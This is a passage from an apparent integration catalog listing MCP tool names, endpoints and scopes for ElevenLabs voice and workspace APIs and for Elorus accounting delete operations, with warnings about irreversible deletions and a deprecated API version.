/api/v1/elevenlabs/v1/flows/image. Scopes: flows. elevenlabs_post_v1_flows_text_to_speech (write) — Create Speech Generation via POST /v1/flows/text-to-speech POST /api/v1/elevenlabs/v1/flows/text-to-speech. Scopes: flows. elevenlabs_post_v1_flows_video (write) — Create Video Generation via POST /v1/flows/video POST /api/v1/elevenlabs/v1/flows/video. Scopes: flows. elevenlabs_post_v1_music_plan (write) — Generate Composition Plan via POST /v1/music/plan POST /api/v1/elevenlabs/v1/music/plan. Scopes: music_generation. elevenlabs_post_v1_productions_orders (write) — Create Order via POST /v1/productions/orders POST /api/v1/elevenlabs/v1/productions/orders. Scopes: projects_write. elevenlabs_post_v1_productions_orders_by_order_id_items (write) — Upsert Order Item via POST /v1/productions/orders/{order_id}/items POST /api/v1/elevenlabs/v1/productions/orders/{order_id}/items. Scopes: projects_write. elevenlabs_post_v1_productions_orders_by_order_id_submit (write) — Submit Order via POST /v1/productions/orders/{order_id}/submit POST /api/v1/elevenlabs/v1/productions/orders/{order_id}/submit. Scopes: projects_write. elevenlabs_post_v1_pronunciation_dictionaries_add_from_rules (write) — Add A Pronunciation Dictionary via POST /v1/pronunciation-dictionaries/add-from-rules POST /api/v1/elevenlabs/v1/pronunciation-dictionaries/add-from-rules. Scopes: pronunciation_dictionaries_write. elevenlabs_post_v1_pronunciation_dictionaries_by_pronunciation_dictionary_id_add_rules (write) — Add Rules To The Pronunciation Dictionary via POST /v1/pronunciation-dictionaries/{pronunciation_dictionary_id}/add-rules POST /api/v1/elevenlabs/v1/pronunciation-dictionaries/{pronunciation_dictionary_id}/add-rules. Scopes: pronunciation_dictionaries_write. elevenlabs_post_v1_pronunciation_dictionaries_by_pronunciation_dictionary_id_remove_rules (write) — Remove Rules From The Pronunciation Dictionary via POST /v1/pronunciation-dictionaries/{pronunciation_dictionary_id}/remove-rules POST /api/v1/elevenlabs/v1/pronunciation-dictionaries/{pronunciation_dictionary_id}/remove-rules. Scopes: pronunciation_dictionaries_write. elevenlabs_post_v1_pronunciation_dictionaries_by_pronunciation_dictionary_id_set_rules (write) — Set Rules On The Pronunciation Dictionary via POST /v1/pronunciation-dictionaries/{pronunciation_dictionary_id}/set-rules POST /api/v1/elevenlabs/v1/pronunciation-dictionaries/{pronunciation_dictionary_id}/set-rules. Scopes: pronunciation_dictionaries_write. elevenlabs_post_v1_service_accounts (write) — Create Service Account via POST /v1/service-accounts POST /api/v1/elevenlabs/v1/service-accounts. Scopes: service_account_write. elevenlabs_post_v1_service_accounts_by_service_account_user_id_api_keys (write) — Create Service Account Api Key via POST /v1/service-accounts/{service_account_user_id}/api-keys POST /api/v1/elevenlabs/v1/service-accounts/{service_account_user_id}/api-keys. Scopes: service_account_write. elevenlabs_post_v1_single_use_token_by_token_type (write) — Create Single Use Token via POST /v1/single-use-token/{token_type} POST /api/v1/elevenlabs/v1/single-use-token/{token_type}. Scopes: speech_to_text, text_to_speech. elevenlabs_post_v1_speech_engine (write) — Create Speech Engine via POST /v1/speech-engine POST /api/v1/elevenlabs/v1/speech-engine. Scopes: convai_write. elevenlabs_post_v1_studio_podcasts (write) — Create Podcast via POST /v1/studio/podcasts POST /api/v1/elevenlabs/v1/studio/podcasts. Scopes: projects_write. elevenlabs_post_v1_studio_projects_by_project_id (write) — Update Studio Project via POST /v1/studio/projects/{project_id} POST /api/v1/elevenlabs/v1/studio/projects/{project_id}. Scopes: projects_write. elevenlabs_post_v1_studio_projects_by_project_id_chapters (write) — Create Chapter via POST /v1/studio/projects/{project_id}/chapters POST /api/v1/elevenlabs/v1/studio/projects/{project_id}/chapters. Scopes: projects_write. elevenlabs_post_v1_studio_projects_by_project_id_chapters_by_chapter_id (write) — Update Chapter via POST /v1/studio/projects/{project_id}/chapters/{chapter_id} POST /api/v1/elevenlabs/v1/studio/projects/{project_id}/chapters/{chapter_id}. Scopes: projects_write. elevenlabs_post_v1_studio_projects_by_project_id_chapters_by_chapter_id_convert (write) — Convert Chapter via POST /v1/studio/projects/{project_id}/chapters/{chapter_id}/convert POST /api/v1/elevenlabs/v1/studio/projects/{project_id}/chapters/{chapter_id}/convert. Scopes: projects_write. elevenlabs_post_v1_studio_projects_by_project_id_convert (write) — Convert Studio Project via POST /v1/studio/projects/{project_id}/convert POST /api/v1/elevenlabs/v1/studio/projects/{project_id}/convert. Scopes: projects_write. elevenlabs_post_v1_studio_projects_by_project_id_pronunciation_dictionaries (write) — Create Pronunciation Dictionaries via POST /v1/studio/projects/{project_id}/pronunciation-dictionaries POST /api/v1/elevenlabs/v1/studio/projects/{project_id}/pronunciation-dictionaries. Scopes: projects_write. elevenlabs_post_v1_text_to_dialogue_stream_with_timestamps (write) — Text To Dialogue Streaming With Timestamps via POST /v1/text-to-dialogue/stream/with-timestamps POST /api/v1/elevenlabs/v1/text-to-dialogue/stream/with-timestamps. Scopes: text_to_speech. elevenlabs_post_v1_text_to_dialogue_with_timestamps (write) — Text To Dialogue With Timestamps via POST /v1/text-to-dialogue/with-timestamps POST /api/v1/elevenlabs/v1/text-to-dialogue/with-timestamps. Scopes: text_to_speech. elevenlabs_post_v1_text_to_speech_by_voice_id_stream_with_timestamps (write) — Text To Speech Streaming With Timestamps via POST /v1/text-to-speech/{voice_id}/stream/with-timestamps POST /api/v1/elevenlabs/v1/text-to-speech/{voice_id}/stream/with-timestamps. Scopes: text_to_speech. elevenlabs_post_v1_text_to_speech_by_voice_id_with_timestamps (write) — Text To Speech With Timestamps via POST /v1/text-to-speech/{voice_id}/with-timestamps POST /api/v1/elevenlabs/v1/text-to-speech/{voice_id}/with-timestamps. Scopes: text_to_speech. elevenlabs_post_v1_text_to_voice (write) — Create A New Voice From Voice Preview via POST /v1/text-to-voice POST /api/v1/elevenlabs/v1/text-to-voice. Scopes: voice_generation. elevenlabs_post_v1_text_to_voice_by_voice_id_remix (write) — Remix A Voice. via POST /v1/text-to-voice/{voice_id}/remix POST /api/v1/elevenlabs/v1/text-to-voice/{voice_id}/remix. Scopes: voice_generation. elevenlabs_post_v1_text_to_voice_create_previews (write) — [Deprecated] Generate A Voice Preview From Description (deprecated) via POST /v1/text-to-voice/create-previews POST /api/v1/elevenlabs/v1/text-to-voice/create-previews. Scopes: voice_generation. elevenlabs_post_v1_text_to_voice_design (write) — Design A Voice. via POST /v1/text-to-voice/design POST /api/v1/elevenlabs/v1/text-to-voice/design. Scopes: voice_generation. elevenlabs_post_v1_voices_add_by_public_user_id_by_voice_id (write) — Add Shared Voice via POST /v1/voices/add/{public_user_id}/{voice_id} POST /api/v1/elevenlabs/v1/voices/add/{public_user_id}/{voice_id}. Scopes: add_voice_from_voice_library. elevenlabs_post_v1_voices_by_voice_id_replicate_to_isolated_environment (write) — Replicate Voice To Isolated Environment via POST /v1/voices/{voice_id}/replicate-to-isolated-environment POST /api/v1/elevenlabs/v1/voices/{voice_id}/replicate-to-isolated-environment. Scopes: voices_write. elevenlabs_post_v1_voices_by_voice_id_settings_edit (write) — Edit Voice Settings via POST /v1/voices/{voice_id}/settings/edit POST /api/v1/elevenlabs/v1/voices/{voice_id}/settings/edit. Scopes: voices_write. elevenlabs_post_v1_voices_pvc (write) — Create Pvc Voice via POST /v1/voices/pvc POST /api/v1/elevenlabs/v1/voices/pvc. Scopes: create_professional_voice_clone, voices_write. elevenlabs_post_v1_voices_pvc_by_voice_id (write) — Edit Pvc Voice via POST /v1/voices/pvc/{voice_id} POST /api/v1/elevenlabs/v1/voices/pvc/{voice_id}. Scopes: create_professional_voice_clone, voices_write. elevenlabs_post_v1_voices_pvc_by_voice_id_samples_by_sample_id (write) — Update Pvc Voice Sample via POST /v1/voices/pvc/{voice_id}/samples/{sample_id} POST /api/v1/elevenlabs/v1/voices/pvc/{voice_id}/samples/{sample_id}. Scopes: create_professional_voice_clone, voices_write. elevenlabs_post_v1_voices_pvc_by_voice_id_samples_by_sample_id_separate_speakers (write) — Start Speaker Separation via POST /v1/voices/pvc/{voice_id}/samples/{sample_id}/separate-speakers POST /api/v1/elevenlabs/v1/voices/pvc/{voice_id}/samples/{sample_id}/separate-speakers. Scopes: create_professional_voice_clone, voices_write. elevenlabs_post_v1_voices_pvc_by_voice_id_train (write) — Run Pvc Training via POST /v1/voices/pvc/{voice_id}/train POST /api/v1/elevenlabs/v1/voices/pvc/{voice_id}/train. Scopes: create_professional_voice_clone, voices_write. elevenlabs_post_v1_workspace_analytics_query_usage_by_product_over_time (write) — Get Workspace Usage via POST /v1/workspace/analytics/query/usage-by-product-over-time POST /api/v1/elevenlabs/v1/workspace/analytics/query/usage-by-product-over-time. Scopes: workspace_analytics_full_read. elevenlabs_post_v1_workspace_analytics_requests (write) — List Api Requests via POST /v1/workspace/analytics/requests POST /api/v1/elevenlabs/v1/workspace/analytics/requests. Scopes: workspace_analytics_full_read. elevenlabs_post_v1_workspace_auth_connections (write) — Create Workspace Auth Connection via POST /v1/workspace/auth-connections POST /api/v1/elevenlabs/v1/workspace/auth-connections. Scopes: workspace_write. elevenlabs_post_v1_workspace_groups_by_group_id_members (write) — Add Member To User Group via POST /v1/workspace/groups/{group_id}/members POST /api/v1/elevenlabs/v1/workspace/groups/{group_id}/members. Scopes: group_members_manage. elevenlabs_post_v1_workspace_groups_by_group_id_members_remove (write) — Delete Member From User Group via POST /v1/workspace/groups/{group_id}/members/remove POST /api/v1/elevenlabs/v1/workspace/groups/{group_id}/members/remove. Scopes: group_members_manage. elevenlabs_post_v1_workspace_invites_add (write) — Invite User via POST /v1/workspace/invites/add POST /api/v1/elevenlabs/v1/workspace/invites/add. Scopes: workspace_members_invite. elevenlabs_post_v1_workspace_invites_add_bulk (write) — Invite Multiple Users via POST /v1/workspace/invites/add-bulk POST /api/v1/elevenlabs/v1/workspace/invites/add-bulk. Scopes: workspace_members_invite. elevenlabs_post_v1_workspace_members (write) — Update Member via POST /v1/workspace/members POST /api/v1/elevenlabs/v1/workspace/members. Scopes: workspace_write. elevenlabs_post_v1_workspace_resources_by_resource_id_share (write) — Share Workspace Resource via POST /v1/workspace/resources/{resource_id}/share POST /api/v1/elevenlabs/v1/workspace/resources/{resource_id}/share. Scopes: workspace_write. elevenlabs_post_v1_workspace_resources_by_resource_id_unshare (write) — Unshare Workspace Resource via POST /v1/workspace/resources/{resource_id}/unshare POST /api/v1/elevenlabs/v1/workspace/resources/{resource_id}/unshare. Scopes: workspace_write. elevenlabs_post_v1_workspace_webhooks (write) — Create Workspace Webhook via POST /v1/workspace/webhooks POST /api/v1/elevenlabs/v1/workspace/webhooks. Scopes: webhooks_write. elevenlabs_post_v1_workspaces_api_keys_disable (write) — Disable Api Key via POST /v1/workspaces/api-keys/disable POST /api/v1/elevenlabs/v1/workspaces/api-keys/disable. Scopes: workspace_write. elevenlabs_post_v1_workspaces_api_keys_third_party_disabling (write) — Set Workspace Third-Party Disabling Policy via POST /v1/workspaces/api-keys/third-party-disabling POST /api/v1/elevenlabs/v1/workspaces/api-keys/third-party-disabling. Scopes: workspace_write. elevenlabs_put_v1_convai_agent_testing_by_test_id (write) — Update Agent Response Test via PUT /v1/convai/agent-testing/{test_id} PUT /api/v1/elevenlabs/v1/convai/agent-testing/{test_id}. Scopes: convai_write. ================================================================================ ## Elorus URL: https://www.agenticfabriq.com/integrations/elorus Section: Integrated Tools Elorus — 427 MCP tools Provider key: elorus. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. elorus_delete_v1_1_bills_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one bill -- a purchase invoice a supplier issued to this organization. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/bills/{id}/ DELETE /api/v1/elorus/v1.1/bills/{id}. Scopes: api. elorus_delete_v1_1_cashpayments_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one cash payment -- money paid OUT, against a bill or a supplier. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/cashpayments/{id}/ DELETE /api/v1/elorus/v1.1/cashpayments/{id}. Scopes: api. elorus_delete_v1_1_cashreceipts_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one cash receipt -- money taken IN, against an invoice or a client. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/cashreceipts/{id}/ DELETE /api/v1/elorus/v1.1/cashreceipts/{id}. Scopes: api. elorus_delete_v1_1_contacts_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one contact -- a client or supplier, with its billing and shipping addresses. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/contacts/{id}/ DELETE /api/v1/elorus/v1.1/contacts/{id}. Scopes: api. elorus_delete_v1_1_creditnotes_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one credit note -- credit issued TO a client, which can then be applied against invoices. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/creditnotes/{id}/ DELETE /api/v1/elorus/v1.1/creditnotes/{id}. Scopes: api. elorus_delete_v1_1_creditnotes_by_parent_pk_applied_credit_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE: un-apply one credit application from a credit note -- credit issued TO a client, which can then be applied against invoices -- which puts the amount back on the credit and back onto the document's balance. Elorus answers 204 with no body via DELETE /v1.1/creditnotes/{parent_pk}/applied-credit/{id}/ DELETE /api/v1/elorus/v1.1/creditnotes/{parent_pk}/applied-credit/{id}. Scopes: api. elorus_delete_v1_1_emailtemplates_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one email template -- the subject and body Elorus uses when it emails a document. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/emailtemplates/{id}/ DELETE /api/v1/elorus/v1.1/emailtemplates/{id}. Scopes: api. elorus_delete_v1_1_estimates_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one estimate -- a quotation sent to a client before any invoice exists. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/estimates/{id}/ DELETE /api/v1/elorus/v1.1/estimates/{id}. Scopes: api. elorus_delete_v1_1_expenses_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one expense -- a cost recorded against the organization, optionally billable to a project. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/expenses/{id}/ DELETE /api/v1/elorus/v1.1/expenses/{id}. Scopes: api. elorus_delete_v1_1_invoices_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one invoice -- a sales invoice issued to a client. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/invoices/{id}/ DELETE /api/v1/elorus/v1.1/invoices/{id}. Scopes: api. elorus_delete_v1_1_invoices_by_parent_pk_applied_credit_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE: un-apply one credit application from an invoice -- a sales invoice issued to a client -- which puts the amount back on the credit and back onto the document's balance. Elorus answers 204 with no body via DELETE /v1.1/invoices/{parent_pk}/applied-credit/{id}/ DELETE /api/v1/elorus/v1.1/invoices/{parent_pk}/applied-credit/{id}. Scopes: api. elorus_delete_v1_1_numberingsequence_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one numbering sequence -- the counter Elorus draws document numbers from. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/numberingsequence/{id}/ DELETE /api/v1/elorus/v1.1/numberingsequence/{id}. Scopes: api. elorus_delete_v1_1_products_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one product -- a product or service line item, with its price and stock. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/products/{id}/ DELETE /api/v1/elorus/v1.1/products/{id}. Scopes: api. elorus_delete_v1_1_recurringinvoices_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one recurring invoice -- the schedule Elorus issues repeating invoices from. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/recurringinvoices/{id}/ DELETE /api/v1/elorus/v1.1/recurringinvoices/{id}. Scopes: api. elorus_delete_v1_1_suppliercredits_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE and with no undo in this integration: permanently delete one supplier credit -- credit received FROM a supplier, which can then be applied against bills. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.1/suppliercredits/{id}/ DELETE /api/v1/elorus/v1.1/suppliercredits/{id}. Scopes: api. elorus_delete_v1_1_suppliercredits_by_parent_pk_applied_credit_by_id (write, destructive) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. DESTRUCTIVE: un-apply one credit application from a supplier credit -- credit received FROM a supplier, which can then be applied against bills -- which puts the amount back on the credit and back onto the document's balance. Elorus answers 204 with no body via DELETE /v1.1/suppliercredits/{parent_pk}/applied-credit/{id}/ DELETE /api/v1/elorus/v1.1/suppliercredits/{parent_pk}/applied-credit/{id}. Scopes: api. elorus_delete_v1_2_bills_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one bill -- a purchase invoice a supplier issued to this organization. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/bills/{id}/ DELETE /api/v1/elorus/v1.2/bills/{id}. Scopes: api. elorus_delete_v1_2_bills_by_parent_pk_attachments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one attachment from a bill -- a purchase invoice a supplier issued to this organization -- together with its stored file. Elorus answers 204 with no body, and this integration cannot upload a replacement via DELETE /v1.2/bills/{parent_pk}/attachments/{id}/ DELETE /api/v1/elorus/v1.2/bills/{parent_pk}/attachments/{id}. Scopes: api. elorus_delete_v1_2_bills_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from a bill -- a purchase invoice a supplier issued to this organization. Elorus answers 204 with no body via DELETE /v1.2/bills/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/bills/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_cashpayments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one cash payment -- money paid OUT, against a bill or a supplier. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/cashpayments/{id}/ DELETE /api/v1/elorus/v1.2/cashpayments/{id}. Scopes: api. elorus_delete_v1_2_cashpayments_by_parent_pk_attachments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one attachment from a cash payment -- money paid OUT, against a bill or a supplier -- together with its stored file. Elorus answers 204 with no body, and this integration cannot upload a replacement via DELETE /v1.2/cashpayments/{parent_pk}/attachments/{id}/ DELETE /api/v1/elorus/v1.2/cashpayments/{parent_pk}/attachments/{id}. Scopes: api. elorus_delete_v1_2_cashpayments_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from a cash payment -- money paid OUT, against a bill or a supplier. Elorus answers 204 with no body via DELETE /v1.2/cashpayments/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/cashpayments/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_cashreceipts_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one cash receipt -- money taken IN, against an invoice or a client. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/cashreceipts/{id}/ DELETE /api/v1/elorus/v1.2/cashreceipts/{id}. Scopes: api. elorus_delete_v1_2_cashreceipts_by_parent_pk_attachments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one attachment from a cash receipt -- money taken IN, against an invoice or a client -- together with its stored file. Elorus answers 204 with no body, and this integration cannot upload a replacement via DELETE /v1.2/cashreceipts/{parent_pk}/attachments/{id}/ DELETE /api/v1/elorus/v1.2/cashreceipts/{parent_pk}/attachments/{id}. Scopes: api. elorus_delete_v1_2_cashreceipts_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from a cash receipt -- money taken IN, against an invoice or a client. Elorus answers 204 with no body via DELETE /v1.2/cashreceipts/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/cashreceipts/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_contacts_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one contact -- a client or supplier, with its billing and shipping addresses. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/contacts/{id}/ DELETE /api/v1/elorus/v1.2/contacts/{id}. Scopes: api. elorus_delete_v1_2_contacts_by_parent_pk_attachments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one attachment from a contact -- a client or supplier, with its billing and shipping addresses -- together with its stored file. Elorus answers 204 with no body, and this integration cannot upload a replacement via DELETE /v1.2/contacts/{parent_pk}/attachments/{id}/ DELETE /api/v1/elorus/v1.2/contacts/{parent_pk}/attachments/{id}. Scopes: api. elorus_delete_v1_2_contacts_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from a contact -- a client or supplier, with its billing and shipping addresses. Elorus answers 204 with no body via DELETE /v1.2/contacts/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/contacts/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_creditnotes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one credit note -- credit issued TO a client, which can then be applied against invoices. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/creditnotes/{id}/ DELETE /api/v1/elorus/v1.2/creditnotes/{id}. Scopes: api. elorus_delete_v1_2_creditnotes_by_parent_pk_applied_credit_by_id (write, destructive) — DESTRUCTIVE: un-apply one credit application from a credit note -- credit issued TO a client, which can then be applied against invoices -- which puts the amount back on the credit and back onto the document's balance. Elorus answers 204 with no body via DELETE /v1.2/creditnotes/{parent_pk}/applied-credit/{id}/ DELETE /api/v1/elorus/v1.2/creditnotes/{parent_pk}/applied-credit/{id}. Scopes: api. elorus_delete_v1_2_creditnotes_by_parent_pk_attachments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one attachment from a credit note -- credit issued TO a client, which can then be applied against invoices -- together with its stored file. Elorus answers 204 with no body, and this integration cannot upload a replacement via DELETE /v1.2/creditnotes/{parent_pk}/attachments/{id}/ DELETE /api/v1/elorus/v1.2/creditnotes/{parent_pk}/attachments/{id}. Scopes: api. elorus_delete_v1_2_creditnotes_by_parent_pk_discussions_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one client-facing discussion message from a credit note -- credit issued TO a client, which can then be applied against invoices. Elorus answers 204 with no body via DELETE /v1.2/creditnotes/{parent_pk}/discussions/{id}/ DELETE /api/v1/elorus/v1.2/creditnotes/{parent_pk}/discussions/{id}. Scopes: api. elorus_delete_v1_2_creditnotes_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from a credit note -- credit issued TO a client, which can then be applied against invoices. Elorus answers 204 with no body via DELETE /v1.2/creditnotes/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/creditnotes/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_deliverynotes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one delivery note -- a despatch document for goods sent to a client. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/deliverynotes/{id}/ DELETE /api/v1/elorus/v1.2/deliverynotes/{id}. Scopes: api. elorus_delete_v1_2_deliverynotes_by_parent_pk_attachments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one attachment from a delivery note -- a despatch document for goods sent to a client -- together with its stored file. Elorus answers 204 with no body, and this integration cannot upload a replacement via DELETE /v1.2/deliverynotes/{parent_pk}/attachments/{id}/ DELETE /api/v1/elorus/v1.2/deliverynotes/{parent_pk}/attachments/{id}. Scopes: api. elorus_delete_v1_2_deliverynotes_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from a delivery note -- a despatch document for goods sent to a client. Elorus answers 204 with no body via DELETE /v1.2/deliverynotes/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/deliverynotes/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_documenttypes_by_parent_pk_sequences_delete (write, destructive) — DESTRUCTIVE: delete one numbering sequence from a document type -- one of the organization's document kinds, which owns its own numbering sequences. The sequence to remove is named in the REQUEST BODY rather than in the path, 